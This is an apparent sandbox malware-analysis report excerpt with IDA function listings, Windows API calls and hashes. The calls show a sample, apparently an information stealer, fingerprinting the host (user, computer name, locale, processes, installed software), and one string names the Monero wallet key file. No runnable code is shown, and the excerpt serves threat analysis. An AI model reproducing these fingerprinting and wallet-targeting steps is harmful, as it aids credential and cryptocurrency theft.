Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 04c0be05983623bf44f89f4d1a7501fd5eadf7bab967ce1bdbadb271f08d8ad5
Instruction ID: 61940e021830d81d83b0031a701b6df960f4938449ff4115323b15281542802c
Opcode Fuzzy Hash: 04c0be05983623bf44f89f4d1a7501fd5eadf7bab967ce1bdbadb271f08d8ad5
Instruction Fuzzy Hash: C1917775A102489FCB28EF64D991EFD77B5BF95300F408528E90D8B252DB35AA06CB92

Function 001F0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,011D89C0), ref: 001F079A
StrCmpCA.SHLWAPI(00000000,011D88F0), ref: 001F0866
StrCmpCA.SHLWAPI(00000000,011D8980), ref: 001F099D

Part of subcall function 001FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 001FA7E6

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ca4e1e5c9cde1cb7f97aeb2d9c0a3674ee57c8181e17fb5eddb6d6e1191bdbaf
Instruction ID: e04214ae5a1f5dd4fdef5320ddccd7a24dc9f71ba9959b12edb08f7245ad3fb5
Opcode Fuzzy Hash: ca4e1e5c9cde1cb7f97aeb2d9c0a3674ee57c8181e17fb5eddb6d6e1191bdbaf
Instruction Fuzzy Hash: D6817775B102099FCB28EF64C991EFDB7B5FF95300F508529E9099F251DB34AA06CB82

Function 001F78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: f8d4548b12ebf08d4e7e6a53f7c5f635fe5c42d980579bd8169cb7dde6af1ead
Instruction ID: b999be6fd4ad9f804d370bfe0ce94a573b5959058f8c3d45213bea7a587faac5
Opcode Fuzzy Hash: f8d4548b12ebf08d4e7e6a53f7c5f635fe5c42d980579bd8169cb7dde6af1ead
Instruction Fuzzy Hash: 7C0181B1A04209EBC714DF98DD45BAABBB8FB04B25F10422AFA45E32C0C77459048BA2

Function 001F9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 001F9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 001F94A5
CloseHandle.KERNEL32(00000000), ref: 001F94AF

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: fdb374f711dcbab127768b990b6035f2ddbb883f7fda7467ecdcc13a754a27d1
Instruction ID: cceb4b1c8e55dfce402b56fbc57b96da084bb11b2567f852bf806bfeab830ceb
Opcode Fuzzy Hash: fdb374f711dcbab127768b990b6035f2ddbb883f7fda7467ecdcc13a754a27d1
Instruction Fuzzy Hash: EEF03A74A0020CEBDB14EFA4DC4AFE97778EB08700F004598BA1997290D6B5AA86CB95

Function 001E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 001E1132
ExitProcess.KERNEL32 ref: 001E1143

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: eecbee853cadd92d0ef1f237a6867c7cdf6447836e478b2ead0b5520c0de7fb0
Instruction ID: a93406de1caca32c6b8aea83ce83a951548f6a25d2ed38c94a49c6aec549c1db
Opcode Fuzzy Hash: eecbee853cadd92d0ef1f237a6867c7cdf6447836e478b2ead0b5520c0de7fb0
Instruction Fuzzy Hash: A5E0E670A85348FBE7206BA19C0AB0D7678AB04B01F504154FB09B61D0D7B56651969D

Function 001F1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,011D88D0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

Part of subcall function 001F7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 001F7542
Part of subcall function 001F7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001F757F
Part of subcall function 001F7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7603
Part of subcall function 001F7500: RtlAllocateHeap.NTDLL(00000000), ref: 001F760A

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001F7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F76A4
Part of subcall function 001F7690: RtlAllocateHeap.NTDLL(00000000), ref: 001F76AB

Part of subcall function 001F77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,001FDBC0,000000FF,?,001F1C99,00000000,?,011DD258,00000000,?), ref: 001F77F2
Part of subcall function 001F77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,001FDBC0,000000FF,?,001F1C99,00000000,?,011DD258,00000000,?), ref: 001F77F9

Part of subcall function 001F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
Part of subcall function 001F7850: RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
Part of subcall function 001F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

Part of subcall function 001F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7910
Part of subcall function 001F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001F7917
Part of subcall function 001F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001F792F

Part of subcall function 001F7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00200E00,00000000,?), ref: 001F79B0
Part of subcall function 001F7980: RtlAllocateHeap.NTDLL(00000000), ref: 001F79B7
Part of subcall function 001F7980: GetLocalTime.KERNEL32(?,?,?,?,?,00200E00,00000000,?), ref: 001F79C4
Part of subcall function 001F7980: wsprintfA.USER32 ref: 001F79F3

Part of subcall function 001F7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,011DD8C8,00000000,?,00200E10,00000000,?,00000000,00000000), ref: 001F7A63
Part of subcall function 001F7A30: RtlAllocateHeap.NTDLL(00000000), ref: 001F7A6A
Part of subcall function 001F7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,011DD8C8,00000000,?,00200E10,00000000,?,00000000,00000000,?), ref: 001F7A7D

Part of subcall function 001F7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,011DD8C8,00000000,?,00200E10,00000000,?,00000000,00000000), ref: 001F7B35

Part of subcall function 001F7B90: GetKeyboardLayoutList.USER32(00000000,00000000,002005AF), ref: 001F7BE1
Part of subcall function 001F7B90: LocalAlloc.KERNEL32(00000040,?), ref: 001F7BF9
Part of subcall function 001F7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 001F7C0D
Part of subcall function 001F7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 001F7C62
Part of subcall function 001F7B90: LocalFree.KERNEL32(00000000), ref: 001F7D22

Part of subcall function 001F7D80: GetSystemPowerStatus.KERNEL32(?), ref: 001F7DAD

GetCurrentProcessId.KERNEL32(00000000,?,011DD1B8,00000000,?,00200E24,00000000,?,00000000,00000000,?,011DD910,00000000,?,00200E20,00000000), ref: 001F207E

Part of subcall function 001F9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 001F9484
Part of subcall function 001F9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 001F94A5
Part of subcall function 001F9470: CloseHandle.KERNEL32(00000000), ref: 001F94AF

Part of subcall function 001F7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001F7E37
Part of subcall function 001F7E00: RtlAllocateHeap.NTDLL(00000000), ref: 001F7E3E
Part of subcall function 001F7E00: RegOpenKeyExA.KERNEL32(80000002,011CBD20,00000000,00020119,?), ref: 001F7E5E
Part of subcall function 001F7E00: RegQueryValueExA.KERNEL32(?,011DD058,00000000,00000000,000000FF,000000FF), ref: 001F7E7F
Part of subcall function 001F7E00: RegCloseKey.ADVAPI32(?), ref: 001F7E92

Part of subcall function 001F7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 001F7FC9
Part of subcall function 001F7F60: GetLastError.KERNEL32 ref: 001F7FD8

Part of subcall function 001F7ED0: GetSystemInfo.KERNEL32(00200E2C), ref: 001F7F00
Part of subcall function 001F7ED0: wsprintfA.USER32 ref: 001F7F16

Part of subcall function 001F8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,011DD940,00000000,?,00200E2C,00000000,?,00000000), ref: 001F8130
Part of subcall function 001F8100: RtlAllocateHeap.NTDLL(00000000), ref: 001F8137
Part of subcall function 001F8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 001F8158
Part of subcall function 001F8100: __aulldiv.LIBCMT ref: 001F8172
Part of subcall function 001F8100: __aulldiv.LIBCMT ref: 001F8180
Part of subcall function 001F8100: wsprintfA.USER32 ref: 001F81AC

Part of subcall function 001F87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00200E28,00000000,?), ref: 001F882F
Part of subcall function 001F87C0: RtlAllocateHeap.NTDLL(00000000), ref: 001F8836
Part of subcall function 001F87C0: wsprintfA.USER32 ref: 001F8850

Part of subcall function 001F8320: RegOpenKeyExA.KERNEL32(00000000,011DB020,00000000,00020019,00000000,002005B6), ref: 001F83A4

Part of subcall function 001F8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 001F8426
Part of subcall function 001F8320: wsprintfA.USER32 ref: 001F8459
Part of subcall function 001F8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 001F847B
Part of subcall function 001F8320: RegCloseKey.ADVAPI32(00000000), ref: 001F848C
Part of subcall function 001F8320: RegCloseKey.ADVAPI32(00000000), ref: 001F8499

Part of subcall function 001F8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002005B7), ref: 001F86CA
Part of subcall function 001F8680: Process32First.KERNEL32(?,00000128), ref: 001F86DE
Part of subcall function 001F8680: Process32Next.KERNEL32(?,00000128), ref: 001F86F3
Part of subcall function 001F8680: CloseHandle.KERNEL32(?), ref: 001F8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 001F265B

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000005CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.00000000006DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361166039.00000000006DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361277083.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2361296806.0000000000876000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 434b570dff64580c5711b5e60e4073e5acea5c3772eddf70ab29262b3b24e255
Instruction ID: 575de5277742856ae60f7b0ccdb6b109e34a794eaf2b7c988b775e90ecd2f309
Opcode Fuzzy Hash: 434b570dff64580c5711b5e60e4073e5acea5c3772eddf70ab29262b3b24e255
Instruction Fuzzy Hash: F8728FB1C5011CAADB15FB50DCA1EFE7338AF24341FD482A9B61E62091EF742B49CB65

Function 001E6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2358248663.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360271664.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
